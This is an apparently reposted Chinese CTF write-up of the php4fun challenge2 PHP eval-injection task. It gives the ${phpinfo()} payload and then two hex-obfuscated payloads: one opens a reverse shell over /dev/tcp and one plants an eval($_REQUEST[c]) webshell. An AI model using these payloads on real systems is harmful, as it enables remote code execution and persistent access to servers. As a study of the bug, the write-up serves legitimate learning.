[php4fun](challenge2)将只能执行phpinfo的漏洞转换为一句话木马

源码 :

<?php
$str=@(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');

最开始百思不得其解 , 然后查阅了一些大佬们的 WriteUp
得到如下的 payload :

?str=${phpinfo()}

相关 php 官方文档可以参考 :

http://php.net/manual/zh/language.variables.variable.php

但是仍旧不太明白为什么这样就可以执行代码…
希望有知道的大佬可以教教我

本文的重点来了
笔者在根据网上大佬们提供的 Payload 的复现的时候发现
(原版的题目服务器已经挂掉了 , 所以笔者也不知道这个题最终的目标是啥…)
这个题目好像就是只让你执行一下 phpinfo 就行了
那么可不可以再猥琐一点执行一点别的呢
尝试一下直接这样行不行 :

?str={eval($_GET[c])}&c=phpinfo();
// 似乎并不行...

经过一番尝试 , 笔者最终发现了下面两种 Payload

// 一个反弹 shell 的 Payload
?str=${system(hex2bin(ff0a2f62696e2f62617368202d6320277368202d69203e26202f6465762f7463702f3132372e302e302e312f3434343420303e263127))}
// 一个一句话木马的 Payload
?str=${eval(substr(hex2bin(ff6576616c28245f524551554553545b635d293b),1,19))}&c=phpinfo();

《[php4fun](challenge2)将只能执行phpinfo的漏洞转换为一句话木马》 image.png

    原文作者:王一航
    原文地址: https://www.jianshu.com/p/dd72566ca4df
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞